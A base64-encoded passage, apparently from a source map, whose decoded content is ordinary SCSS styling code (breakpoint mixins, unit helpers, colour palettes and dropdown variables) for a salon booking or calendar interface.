xuLXNhbG9uLFxuLnNsbi1kYXRhc2hvcnRjb2RlIHtcbiAgKixcbiAgKjpiZWZvcmUsXG4gICo6YWZ0ZXIge1xuICAgIC1tb3otYm94LXNpemluZzogYm9yZGVyLWJveDtcbiAgICAtd2Via2l0LWJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgYm94LXNpemluZzogYm9yZGVyLWJveDtcbiAgICAmOmZvY3VzIHtcbiAgICAgIG91dGxpbmU6IDAgIWltcG9ydGFudDtcbiAgICB9XG4gIH1cbn1cbkBmdW5jdGlvbiB1bml0KCR2YWx1ZSkge1xuICAkdW5pVmFsdWU6ICgkdmFsdWUgKiAxNikgKyBweDtcbiAgQHJldHVybiAkdW5pVmFsdWU7XG59XG4kYnJvd3Nlci1jb250ZXh0OiAxOHB4O1xuXG5AZnVuY3Rpb24gcmVtKCRwaXhlbHMsICRjb250ZXh0OiAkYnJvd3Nlci1jb250ZXh0KSB7XG4gIEBpZiAobWF0aC5pcy11bml0bGVzcygkcGl4ZWxzKSkge1xuICAgICRwaXhlbHM6ICRwaXhlbHMgKiAxcHg7XG4gIH1cblxuICBAaWYgKG1hdGguaXMtdW5pdGxlc3MoJGNvbnRleHQpKSB7XG4gICAgJGNvbnRleHQ6ICRjb250ZXh0ICogMXB4O1xuICB9XG5cbiAgQHJldHVybiBjYWxjKCRwaXhlbHMgLyAkY29udGV4dCkgKiAxcmVtO1xufVxuXG5AZnVuY3Rpb24gZW0oJHBpeGVscywgJGNvbnRleHQ6ICRicm93c2VyLWNvbnRleHQpIHtcbiAgQGlmIChtYXRoLmlzLXVuaXRsZXNzKCRwaXhlbHMpKSB7XG4gICAgJHBpeGVsczogJHBpeGVscyAqIDFweDtcbiAgfVxuXG4gIEBpZiAobWF0aC5pcy11bml0bGVzcygkY29udGV4dCkpIHtcbiAgICAkY29udGV4dDogJGNvbnRleHQgKiAxcHg7XG4gIH1cblxuICBAcmV0dXJuIGNhbGMoJHBpeGVscyAvICRjb250ZXh0KSAqIDFlbTtcbn1cblxuQG1peGluIGJwKCRwb2ludCkge1xuICBAaWYgJHBvaW50ID09IGRlc2t0b3AteGwge1xuICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMTIwMHB4KSB7XG4gICAgICBAY29udGVudDtcbiAgICB9XG4gIH0gQGVsc2UgaWYgJHBvaW50ID09IGRlc2t0b3Age1xuICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogOTkycHgpIHtcbiAgICAgIEBjb250ZW50O1xuICAgIH1cbiAgfSBAZWxzZSBpZiAkcG9pbnQgPT0gdGFibGV0IHtcbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDc2OHB4KSB7XG4gICAgICBAY29udGVudDtcbiAgICB9XG4gIH0gQGVsc2UgaWYgJHBvaW50ID09IHRhYmxldC1wb3J0IHtcbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDc2OHB4KSBhbmQgKG1heC13aWR0aDogMTAyM3B4KSB7XG4gICAgICBAY29udGVudDtcbiAgICB9XG4gIH0gQGVsc2UgaWYgJHBvaW50ID09IHRhYmxldC1tYXgtcG9ydCB7XG4gICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA3NjhweCkgYW5kIChtYXgtd2lkdGg6IDk5MXB4KSB7XG4gICAgICBAY29udGVudDtcbiAgICB9XG4gIH0gQGVsc2UgaWYgJHBvaW50ID09IHRhYmxldC1sYSB7XG4gICAgQG1lZGlhIGFsbCBhbmQgKG1pbi1kZXZpY2Utd2lkdGg6IDc2OHB4KSBhbmQgKG1heC1kZXZpY2Utd2lkdGg6IDEwMjRweCkgYW5kIChvcmllbnRhdGlvbjogbGFuZHNjYXBlKSB7XG4gICAgICBAY29udGVudDtcbiAgICB9XG4gIH0gQGVsc2UgaWYgJHBvaW50ID09IHBob25lIHtcbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDc2N3B4KSB7XG4gICAgICBAY29udGVudDtcbiAgICB9XG4gIH0gQGVsc2UgaWYgJHBvaW50ID09IHBob25lLXBvcnQge1xuICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogMzIwcHgpIHtcbiAgICAgIEBjb250ZW50O1xuICAgIH1cbiAgfSBAZWxzZSBpZiAkcG9pbnQgPT0gcGhvbmUtbGEge1xuICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMzIxcHgpIGFuZCAobWF4LXdpZHRoOiA1NjhweCkgYW5kIChvcmllbnRhdGlvbjogbGFuZHNjYXBlKSB7XG4gICAgICBAY29udGVudDtcbiAgICB9XG4gIH1cbn1cblxuQG1peGluIGllMTEoKSB7XG4gIEBtZWRpYSBzY3JlZW4gYW5kICgtbXMtaGlnaC1jb250cmFzdDogYWN0aXZlKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgQGNvbnRlbnQ7XG4gIH1cbn1cblxuLy8gTUlYSU5TXG5AbWl4aW4gdHJhbnMtZ2VuZXJpYygkc3BlZWQpIHtcbiAgLXdlYmtpdC10cmFuc2l0aW9uOiBhbGwgJHNwZWVkIGVhc2UtaW4tb3V0O1xuICAtbW96LXRyYW5zaXRpb246IGFsbCAkc3BlZWQgZWFzZS1pbi1vdXQ7XG4gIC1vLXRyYW5zaXRpb246IGFsbCAkc3BlZWQgZWFzZS1pbi1vdXQ7XG4gIHRyYW5zaXRpb246IGFsbCAkc3BlZWQgZWFzZS1pbi1vdXQ7XG59XG5AbWl4aW4gdHJhbnNpdGlvbigkcHJvcC4uLikge1xuICAmIHtcbiAgICAtd2Via2l0LXRyYW5zaXRpb246ICRwcm9wO1xuICAgIC1tb3otdHJhbnNpdGlvbjogJHByb3A7XG4gICAgLW8tdHJhbnNpdGlvbjogJHByb3A7XG4gICAgdHJhbnNpdGlvbjogJHByb3A7XG4gIH1cbn1cbkBtaXhpbiB0cmFuc2Zvcm0oJHByb3AuLi4pIHtcbiAgJiB7XG4gICAgLXdlYmtpdC10cmFuc2Zvcm06ICRwcm9wO1xuICAgIC1tb3otdHJhbnNmb3JtOiAkcHJvcDtcbiAgICAtbXMtdHJhbnNmb3JtOiAkcHJvcDtcbiAgICAtby10cmFuc2Zvcm06ICRwcm9wO1xuICAgIHRyYW5zZm9ybTogJHByb3A7XG4gIH1cbn1cblxuQG1peGluIGItcmFkaXVzKCR2YWx1ZSkge1xuICBib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAkdmFsdWU7XG4gIGJvcmRlci10b3AtcmlnaHQtcmFkaXVzOiAkdmFsdWU7XG4gIGJvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6ICR2YWx1ZTtcbiAgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6ICR2YWx1ZTtcbiAgQGlmICR2YWx1ZSA9PSA1MCUge1xuICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICBib3JkZXItcmFkaXVzOiA5OTk5cHg7XG4gIH1cbn1cblxuQG1peGluIGdyaWQtY29sdW1uIHtcbiAgQGZvciAkaSBmcm9tIDEgdGhyb3VnaCA0MDAge1xuICAgICY6bnRoLWNoaWxkKCN7JGl9KSB7XG4gICAgICBncmlkLWNvbHVtbjogJGk7XG4gICAgfVxuICB9XG59XG5cbi8qKlxuICogRm9yIG1vZGVybiBicm93c2Vyc1xuICogMS4gVGhlIHNwYWNlIGNvbnRlbnQgaXMgb25lIHdheSB0byBhdm9pZCBhbiBPcGVyYSBidWcgd2hlbiB0aGVcbiAqICAgIGNvbnRlbnRlZGl0YWJsZSBhdHRyaWJ1dGUgaXMgaW5jbHVkZWQgYW55d2hlcmUgZWxzZSBpbiB0aGUgZG9jdW1lbnQuXG4gKiAgICBPdGhlcndpc2UgaXQgY2F1c2VzIHNwYWNlIHRvIGFwcGVhciBhdCB0aGUgdG9wIGFuZCBib3R0b20gb2YgZWxlbWVudHNcbiAqICAgIHRoYXQgYXJlIGNsZWFyZml4ZWQuXG4gKiAyLiBUaGUgdXNlIG9mIGB0YWJsZWAgcmF0aGVyIHRoYW4gYGJsb2NrYCBpcyBvbmx5IG5lY2Vzc2FyeSBpZiB1c2luZ1xuICogICAgYDpiZWZvcmVgIHRvIGNvbnRhaW4gdGhlIHRvcC1tYXJnaW5zIG9mIGNoaWxkIGVsZW1lbnRzLlxuICovXG5cbkBtaXhpbiBjbGVhcmZpeCgpIHtcbiAgJjpiZWZvcmUsXG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6IFwiIFwiO1xuICAgIGRpc3BsYXk6IHRhYmxlO1xuICB9XG4gICY6YWZ0ZXIge1xuICAgIGNsZWFyOiBib3RoO1xuICB9XG59XG4uY2xlYXJmaXgsXG4uY2xlYXIge1xuICBAaW5jbHVkZSBjbGVhcmZpeCgpO1xufVxuJWFic29sdXRlLWNlbnRlcmluZyB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgdG9wOiA1MCU7XG4gIGxlZnQ6IDUwJTtcbiAgLXdlYmtpdC10cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSkgdHJhbnNsYXRlWSgtNTAlKTtcbiAgLW1zLXRyYW5zZm9ybTogdHJhbnNsYXRlWCgtNTAlKSB0cmFuc2xhdGVZKC01MCUpO1xuICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSkgdHJhbnNsYXRlWSgtNTAlKTtcbn1cbiVhYnNvbHV0ZS1ob3Jpem9udGFsLWNlbnRlcmluZyB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgbGVmdDogNTAlO1xuICAtd2Via2l0LXRyYW5zZm9ybTogdHJhbnNsYXRlWCgtNTAlKSB0cmFuc2xhdGVZKDApO1xuICAtbXMtdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpIHRyYW5zbGF0ZVkoMCk7XG4gIHRyYW5zZm9ybTogdHJhbnNsYXRlWCgtNTAlKSB0cmFuc2xhdGVZKDApO1xufVxuJWFic29sdXRlLXZlcnRpY2FsLWNlbnRlcmluZyB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgdG9wOiA1MCU7XG4gIC13ZWJraXQtdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpO1xuICAtbXMtdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpO1xuICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTUwJSk7XG59XG4lYWJzb2x1dGUtdmVydGljYWwtY2VudGVyaW5nLS1vdmVycmlkZSB7XG4gIC13ZWJraXQtdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDApO1xuICAtbXMtdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDApO1xuICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMCk7XG59XG5cbiV6RGVwdGgtMSB7XG4gIC13ZWJraXQtYm94LXNoYWRvdzogMCAxcHggNHB4IHJnYmEoMCwgMCwgMCwgMC4yNCk7XG4gIC1tb3otYm94LXNoYWRvdzogMCAxcHggNHB4IHJnYmEoMCwgMCwgMCwgMC4yNCk7XG4gIGJveC1zaGFkb3c6IDAgMXB4IDRweCByZ2JhKDAsIDAsIDAsIDAuMjQpO1xufVxuJXpEZXB0aC0yIHtcbiAgLXdlYmtpdC1ib3gtc2hhZG93OiAwIDNweCAxMHB4IHJnYmEoMCwgMCwgMCwgMC4yMyk7XG4gIC1tb3otYm94LXNoYWRvdzogMCAzcHggMTBweCByZ2JhKDAsIDAsIDAsIDAuMjMpO1xuICBib3gtc2hhZG93OiAwIDNweCAxMHB4IHJnYmEoMCwgMCwgMCwgMC4yMyk7XG59XG4lekRlcHRoLTMge1xuICAtd2Via2l0LWJveC1zaGFkb3c6IDAgNnB4IDEwcHggcmdiYSgwLCAwLCAwLCAwLjIzKTtcbiAgLW1vei1ib3gtc2hhZG93OiAwIDZweCAxMHB4IHJnYmEoMCwgMCwgMCwgMC4yMyk7XG4gIGJveC1zaGFkb3c6IDAgNnB4IDEwcHggcmdiYSgwLCAwLCAwLCAwLjIzKTtcbn1cbiV6aS16ZXJvIHtcbiAgei1pbmRleDogMDtcbn1cbiV6aS1iYXNlIHtcbiAgei1pbmRleDogMTAwO1xufVxuJXppLWZvbmRvIHtcbiAgei1pbmRleDogMjAwO1xufVxuJXppLWdyYWZpY2Ege1xuICB6LWluZGV4OiA0MDA7XG59XG4lemktaGlnaGxpZ2h0cyB7XG4gIHotaW5kZXg6IDYwMDtcbn1cbiV6aS1uYXZpZ2F6aW9uZSB7XG4gIHotaW5kZXg6IDgwMDtcbn1cbiV6aS10b3Age1xuICB6LWluZGV4OiAxMDAwO1xufVxuXG4vLyBGTEVYXG4lZGlzcGxheS1mbGV4IHtcbiAgZGlzcGxheTogLXdlYmtpdC1ib3g7XG4gIGRpc3BsYXk6IC1tb3otYm94O1xuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcbiAgZGlzcGxheTogLXdlYmtpdC1mbGV4O1xuICBkaXNwbGF5OiBmbGV4O1xufVxuXG4vLyBBTklNQVRJT05TXG4vKlxuQC13ZWJraXQta2V5ZnJhbWVzIGZhZGUtaW4ge1xuICAwJSB7XG4gICAgb3BhY2l0eTogMDtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogc2NhbGUoMCk7XG4gIH1cbiAgMTAwJSB7XG4gICAgb3BhY2l0eTogMTtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogc2NhbGUoMSk7XG4gIH1cbn1cblxuQC1tb3ota2V5ZnJhbWVzIGZhZGUtaW4ge1xuICAwJSB7XG4gICAgb3BhY2l0eTogMDtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogc2NhbGUoMCk7XG4gIH1cbiAgMTAwJSB7XG4gICAgb3BhY2l0eTogMTtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogc2NhbGUoMSk7XG4gIH1cbn1cblxuQC1tcy1rZXlmcmFtZXMgZmFkZS1pbiB7XG4gIDAlIHtcbiAgICBvcGFjaXR5OiAwO1xuICAgIC13ZWJraXQtdHJhbnNmb3JtOiBzY2FsZSgwKTtcbiAgfVxuICAxMDAlIHtcbiAgICBvcGFjaXR5OiAxO1xuICAgIC13ZWJraXQtdHJhbnNmb3JtOiBzY2FsZSgxKTtcbiAgfVxufVxuKi9cbkBrZXlmcmFtZXMgZmFkZS1pbiB7XG4gIDAlIHtcbiAgICBvcGFjaXR5OiAwO1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMC45OSk7XG4gIH1cbiAgMTAwJSB7XG4gICAgb3BhY2l0eTogMTtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEpO1xuICB9XG59XG5cbkBtaXhpbiBmYWRlaW4oJHRpbWUpIHtcbiAgLXdlYmtpdC1hbmltYXRpb246IGZhZGUtaW4gJHRpbWU7XG4gIC1tb3otYW5pbWF0aW9uOiBmYWRlLWluICR0aW1lO1xuICAtbXMtYW5pbWF0aW9uOiBmYWRlLWluICR0aW1lO1xuICBhbmltYXRpb246IGZhZGUtaW4gJHRpbWU7XG59XG5cbkBtaXhpbiBwbGFjZWhvbGRlci1jb2xvcigkY29sb3IpIHtcbiAgJjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7XG4gICAgY29sb3I6ICRjb2xvcjtcbiAgfVxuICAmOi1tb3otcGxhY2Vob2xkZXIge1xuICAgIC8qIEZpcmVmb3ggMTgtICovXG4gICAgY29sb3I6ICRjb2xvcjtcbiAgfVxuICAmOjotbW96LXBsYWNlaG9sZGVyIHtcbiAgICAvKiBGaXJlZm94IDE5KyAqL1xuICAgIGNvbG9yOiAkY29sb3I7XG4gIH1cbiAgJjotbXMtaW5wdXQtcGxhY2Vob2xkZXIge1xuICAgIGNvbG9yOiAkY29sb3I7XG4gIH1cbn1cblxuLy8gRFJPUERPV05TIE9WRVJSSURFXG4kY29sb3ItYmc6ICNmOGY4Zjg7XG4kY29sb3ItaGlnaDogIzA3NmI5ZDtcbiRjb2xvci1taWQ6ICM2NjY7XG4kY29sb3ItbG93OiAjOTk5O1xuJGJnLWhpZ2g6ICNlZWU7XG4kYmctY29udHJhc3QtaGlnaDogI2RkZDtcblxuJGljb24tY29sb3ItZ3JlZW46IGdyZWVuO1xuJGljb24tY29sb3IteWVsbG93OiAjZmY5ZDAzO1xuXG4kdGV4dC1ibHVlOiAjMDA0NjY0O1xuJHRleHQtZGFyazogIzE0MTQxMjtcbiR0ZXh0LW1lZGl1bTogIzU1NTU1NTtcblxuJGNhLXJlZDogI2Q1MWUyNjtcbiRjYS1yZWQtaDogI2ZmMDAwYjtcbiRjYS1ncmV5OiAjZWJlYmViO1xuJGNhLWJsdWU6ICM0MjhiY2E7XG5cbkBtaXhpbiBib3gtc2hhZG93KCRzaGFkb3cpIHtcbiAgLXdlYmtpdC1ib3gtc2hhZG93OiAkc2hhZG93OyAvLyBpT1MgPDQuMyAmIEFuZHJvaWQgPDQuMVxuICBib3gtc2hhZG93OiAkc2hhZG93O1xufVxuXG5AbWl4aW4gbmF2LWRpdmlkZXIoJGNvbG9yOiAjZTVlNWU1KSB7XG4gIGhlaWdodDogMXB4O1xuICBtYXJnaW46ICgoJGxpbmUtaGVpZ2h0LWNvbXB1dGVkIC8gMikgLSAxKSAwO1xuICBvdmVyZmxvdzogaGlkZGVuO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAkY29sb3I7XG59XG4vLy5yZXNldC1maWx0ZXIoKSB7XG4vLyAgZmlsdGVyOiBlKCUoXCJwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuZ3JhZGllbnQoZW5hYmxlZCA9IGZhbHNlKVwiKSk7XG4vL31cbiRsaW5lLWhlaWdodC1iYXNlOiAxLjQyODU3MTQyOTtcbiRmb250LXNpemUtYmFzZTogMTRweDtcbiRsaW5lLWhlaWdodC1jb21wdXRlZDogbWF0aC5mbG9vcigoJGZvbnQtc2l6ZS1iYXNlICogJGxpbmUtaGVpZ2h0LWJhc2UpKTtcbiRjYXJldC13aWR0aC1iYXNlOiA0cHg7XG4kemluZGV4LWRyb3Bkb3duOiAxMDAwO1xuJGRyb3Bkb3duLWJnOiAjZmZmO1xuJGRyb3Bkb3duLWZhbGxiYWNrLWJvcmRlcjogI2NjYztcbiRkcm9wZG93bi1ib3JkZXI6IHJnYmEoMCwgMCwgMCwgMC4xNSk7XG4kYm9yZGVyLXJhZGl1cy1iYXNlOiA0cHg7XG4kZHJvcGRvd24tZGl2aWRlci1iZzogI2U1ZTVlNTtcbiRncmF5LWRhcms6IGNvbG9yLmFkanVzdCgjMDAwLCAkbGlnaHRuZXNzOiAyMCUpOyAvLyAjMzMzXG4kZHJvcGRvd24tbGluay1jb2xvcjogJGdyYXktZGFyaztcbiRkcm9wZG93bi1saW5rLWhvdmVyLWNvbG9yOiBjb2xvci5hZGp1c3QoJGdyYXktZGFyaywgJGxpZ2h0bmVzczogLTUlKTtcbiRkcm9wZG93bi1saW5rLWhvdmVyLWJnOiAjZjVmNWY1O1xuJGNvbXBvbmVudC1hY3RpdmUtY29sb3I6ICNmZmY7XG4kYnJhbmQtcHJpbWFyeTogJGNvbG9yLWhpZ2g7XG4kZHJvcGRvd24tbGluay1hY3RpdmUtY29sb3I6ICRjb21wb25lbnQtYWN0aXZlLWNvbG9yO1xuJGNvbXBvbmVudC1hY3RpdmUtYmc6ICRicmFuZC1wcmltYXJ5O1xuJGRyb3Bkb3duLWxpbmstYWN0aXZlLWJnOiAkY29tcG9uZW50LWFjdGl2ZS1iZztcbiRncmF5LWxpZ2h0OiBjb2xvci5hZGp1c3QoIzAwMCwgJGxpZ2h0bmVzczogNDYuNyUpO1xuJGRyb3Bkb3duLWxpbmstZGlzYWJsZWQtY29sb3I6ICRncmF5LWxpZ2h0O1xuJGRyb3Bkb3duLWhlYWRlci1jb2xvcjogJGdyYXktbGlnaHQ7XG4kc2NyZWVuLXNtOiA3NjhweDtcbiRzY3JlZW4tc20tbWluOiAkc2NyZWVuLXNtO1xuJGdyaWQtZmxvYXQtYnJlYWtwb2ludDogJHNjcmVlbi1zbS1taW47XG4vLyBEUk9QRE9XTlMgT1ZFUlJJREUgLy8gRU5EXG4iLCIvL0B1c2UgXCJjb21wb25lbnRzL215YWNjb3VudFwiO1xuXG5AdXNlICdzZXR0aW5ncy1taXhpbnMnO1xuQHVzZSBcInNhc3M6Y29sb3JcIjtcblxuJHdyYXBwZXI6ICcjc2xuLXNhbG9uLS1hZG1pbiwgLnNsbi1jYWxlbmRhci0td3JhcHBlcic7XG4kZ3JpZC1ndXR0ZXItd2lkdGg6IDE1cHg7XG4vLyRjbF9tYWluOiByZ2IoMCwgNTMsIDgzKTtcbiRjbF9tYWluOiByZ2IoMCwgNTMsIDgzKTtcbiRjbF9tYWluLS1tZWRpdW06ICM0YzcxODY7XG4kY2xfbWFpbi0tbGlnaHQ6IHJnYigxOTksIDIyMywgMjQzKTtcbiRjbF9tYWluLS1saWdodC0tb3A6IHJnYmEoMTk5LCAyMjMsIDI0MywgMC41KTtcbiRjbF9tYWluLS1saWdodC0tb3AyNTogcmdiYSgxOTksIDIyMywgMjQzLCAwLjI1KTtcbiRjbF9tYWluLS1saWdodC0tYm9yZGVyOiAjYzVjZmQ0O1xuJGNsX21haW4tLWxpZ2h0ZXI6IHJnYigyNDEsIDI0NywgMjUxKTtcbiRjbF9tYWluLS1saWdodGVyLS1vcDogcmdiYSgyNDEsIDI0NywgMjUxLCAwLjc1KTtcbiRjbF9tYWluLS1iZy0tbGlnaHRlcjogI2YxZjFmMTtcbiRjbF9tYWluLS13aGl0ZTogI2ZmZjtcbiRjbF9tYWluLS1ncmVlbjogIzFkYWM0Mztcbi8vJGNsX21haW4tLWVtcGhhc2lzOiAjMGM2ZWI2O1xuJGNsX21haW4tLWVtcGhhc2lzOiByZ2IoMiwgMTE5LCAxODkpO1xuJGNsX3Byb2JsZW06ICNkMjIyMjE7XG4vLyRjbF9wcm9ibGVtLS1saWdodDogI2U2M2YyNDtcbiRjbF9wcm9ibGVtLS1saWdodDogI2VkNWU2OTtcbiRjbF93YXJuaW5nOiAjZjViMDI1O1xuJGNsX3dhcm5pbmctLWxpZ2h0OiAjZjdjNjVmO1xuJGNsX29rOiAjNWJjMjRjO1xuJGNsX2dyZXk6ICNjY2M7XG4kY2xfZ3JleS0tbGlnaHRlcjogcmdiKDI0MCwgMjQwLCAyNDEpO1xuXG4kc2xuLWNvbG9yLS1lbXBoYXNpczogIzAyNzdiZDtcbiRzbG4tY29sb3ItLWVtcGhhc2lzLS1ob3ZlcjogIzAwOTFlYTtcblxuJHNsbi1jb2xvci0tYnRuLWNhbC1kYXktYmc6ICMwMDQyNTg7XG5cbi8vIE5FV1xuJGNsX251LS1oaWdoZW1waGE6IHJnYigwLCA2NiwgODgpO1xuXG4kY2xfbnVfbWFpbi0tbGlnaHQ6IHJnYigxMDQsIDE1MCwgMTg4KTtcbi8vIG5vdCBteSBmYXVsdFxuJGNsX251X21haW4tLW1lZGxpZ2h0OiByZ2IoMjE0LCAyMjksIDIzNCk7XG4kY2xfbnVfbWFpbi0tbWVkOiByZ2IoMjMxLCAyMzcsIDI0Mik7XG5cbiRjbF9pbnB1dC0tZm9jdXM6ICRjbF9udV9tYWluLS1tZWQ7XG4vLyBub3QgbXkgZmF1bHRcbiRjbF9pbnB1dC0tZm9jdXMtLWZvY3VzOiAkY2xfbnVfbWFpbi0tbWVkbGlnaHQ7XG4kY2xfaW5wdXQtLXRleHQ6ICRjbF9udS0taGlnaGVtcGhhO1xuQGZ1bmN0aW9uIGFscGhhLXRvbmVzKCR0b25lLCAkYWxwaGEpIHtcbiAgQHJldHVybiByZ2JhKCR0b25lLCAkYWxwaGEpO1xufVxuXG4kYnJvd3Nlci1jb250ZXh0OiAyNDtcblxuQG1peGluIHBsYWNlaG9sZGVyLWNvbG9yKCRjb2xvcikge1xuICAmOjotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyIHtcbiAgICBjb2xvcjogJGNvbG9yO1xuICB9XG4gICY6LW1vei1wbGFjZWhvbGRlciB7XG4gICAgLyogRmlyZWZveCAxOC0gKi9cbiAgICBjb2xvcjogJGNvbG9yO1xuICB9XG4gICY6Oi1tb3otcGxhY2Vob2xkZXIge1xuICAgIC8qIEZpcmVmb3ggMTkrICovXG4gICAgY29sb3I6ICRjb2xvcjtcbiAgfVxuICAmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG4gICAgY29sb3I6ICRjb2xvcjtcbiAgfVxufVxuXG5AbWl4aW4gc3FhcmVkX2JnKCkge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmO1xuICBiYWNrZ3JvdW5kLWltYWdlOlxuICAgIC13ZWJraXQtbGluZWFyLWdyYWRpZW50KFxuICAgICAgNDVkZWcsXG4gICAgICAjY2NjY2NjIDI1JSxcbiAgICAgIHRyYW5zcGFyZW50IDI1JSxcbiAgICAgIHRyYW5zcGFyZW50IDc1JSxcbiAgICAgICNjY2NjY2MgNzUlLFxuICAgICAgI2NjY2NjY1xuICAgICksXG4gICAgLXdlYmtpdC1saW5lYXItZ3JhZGllbnQoNDVkZWcsICNjY2NjY2MgMjUlLCB0cmFuc3BhcmVudCAyNSUsIHRyYW5zcGFyZW50IDc1JSwgI2NjY2NjY1xuICAgICAgICAgIDc1JSwgI2NjY2NjYyk7XG4gIGJhY2tncm91bmQtaW1hZ2U6XG4gICAgLW8tbGluZWFyLWdyYWRpZW50KFxuICAgICAgNDVkZWcsXG4gICAgICAjY2NjY2NjIDI1JSxcbiAgICAgIHRyYW5zcGFyZW50IDI1JSxcbiAgICAgIHRyYW5zcGFyZW50IDc1JSxcbiAgICAgICNjY2NjY2MgNzUlLFxuICAgICAgI2NjY2NjY1xuICAgICksXG4gICAgLW8tbGluZWFyLWdyYWRpZW50KDQ1ZGVnLCAjY2NjY2NjIDI1JSwgdHJhbnNwYXJlbnQgMjUlLCB0cmFuc3BhcmVudCA3NSUsICNjY2NjY2NcbiAgICAgICAgICA3NSUsICNjY2NjY2MpO1xuICBiYWNrZ3JvdW5kLWltYWdlOlxuICAgIC1tb3otbGluZWFyLWdyYWRpZW50KFxuICAgICAgNDVkZWcsXG4gICAgICAjY2NjY2NjIDI1JSxcbiAgICAgIHRyYW5zcGFyZW50IDI1JSxcbiAgICAgIHRyYW5zcGFyZW50IDc1JSxcbiAgICAgICNjY2NjY2MgNzUlLFxuICAgICAgI2NjY2NjY1xuICAgICksXG4gICAgLW1vei1saW5lYXItZ3JhZGllbnQoNDVkZWcsICNjY2NjY2MgMjUlLCB0cmFuc3BhcmVudCAyNSUsIHRyYW5zcGFyZW50IDc1JSwgI2NjY2NjY1xuICAgICAgICAgIDc1JSwgI2NjY2NjYyk7XG4gIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudChcbiAgICAgIDQ1ZGVnLFxuICAgICAgI2NjY2NjYyAyNSUsXG4gICAgICB0cmFuc3BhcmVudCAyNSUsXG4gICAgICB0cmFuc3BhcmVudCA3NSUsXG4gICAgICAjY2NjY2NjIDc1JSxcbiAgICAgICNjY2NjY2NcbiAgICApLFxuICAgIGxpbmVhci1ncmFkaWVudChcbiAgICAgIDQ1ZGVnLFxuICAgICAgI2NjY2NjYyAyNSUsXG4gICAgICB0cmFuc3BhcmVudCAyNSUsXG4gICAgICB0cmFuc3BhcmVudCA3NSUsXG4gICAgICAjY2NjY2NjIDc1JSxcbiAgICAgICNjY2NjY2NcbiAgICApO1xuICBiYWNrZ3JvdW5kLXNpemU6IDE2cHggMTZweDtcbiAgYmFja2dyb3VuZC1wb3NpdGlvbjpcbiAgICAwIDAsXG4gICAgOHB4IDhweDtcbn1cbi5zci1vbmx5IHtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB3aWR0aDogMXB4O1xuICBoZWlnaHQ6IDFweDtcbiAgcGFkZGluZzogMDtcbiAgbWFyZ2luOiAtMXB4O1xuICBvdmVyZmxvdzogaGlkZGVuO1xuICBjbGlwOiByZWN0KDAsIDAsIDAsIDApO1xuICBib3JkZXI6IDA7XG59XG5cbi8vIERJTUlUUkkgUEFMRVRURSAyMDI1XG4kY2xfZF9tYWluOiAjMjE3MWIxO1xuJGNsX2RfbWFpbi0tbDE6ICM3YWFhZDA7XG4kY2xfZF9tYWluLS1kMTogIzIzNGM2NjtcbiRjbF9kX19kYXJrZXN0OiAjMDAwMDAwO1xuXG4vLyBURVhUXG4kY2xfZF90ZXh0LS1tYWluOiAjMjM0YzY2O1xuJGNsX2RfdGV4dC0tbGlnaHQ6ICM2OTY5Njk7XG4kY2xfZF90ZXh0LS1saWdodC0tZXZpZDogIzcwODY5NztcbiRjbF9kX3RleHQtLW1haW4tLWxpZ2h0OiAjYmRkN2VjO1xuJGNsX2RfdGV4dC0tZGFya2VzdDogIzAwMDAwMDtcbiRjbF9kX3RleHQtLXRvb2x0aXA6ICM4MDk1YWE7XG5cbi8vIEJBQ0tHUk9VTkRcbiRjbF9kX2JnLS1tYWluLS1saWdodDogI2JkZDdlYztcbiRjbF9kX2JnLS1tYWluLS1saWdodGVyOiAjZTFlZWY5O1xuJGNsX2RfYmctLWxpZ2h0OiAjZTdlZGYyO1xuJGNsX2RfYmctLWxpZ2h0LTI6ICNmMWY0Zjc7XG4kY2xfZF9iZy0tZ3JleS1saWdodDogI0VCRUJFQjtcbiRjbF9kX2JnLS1ncmV5LWxpZ2h0Z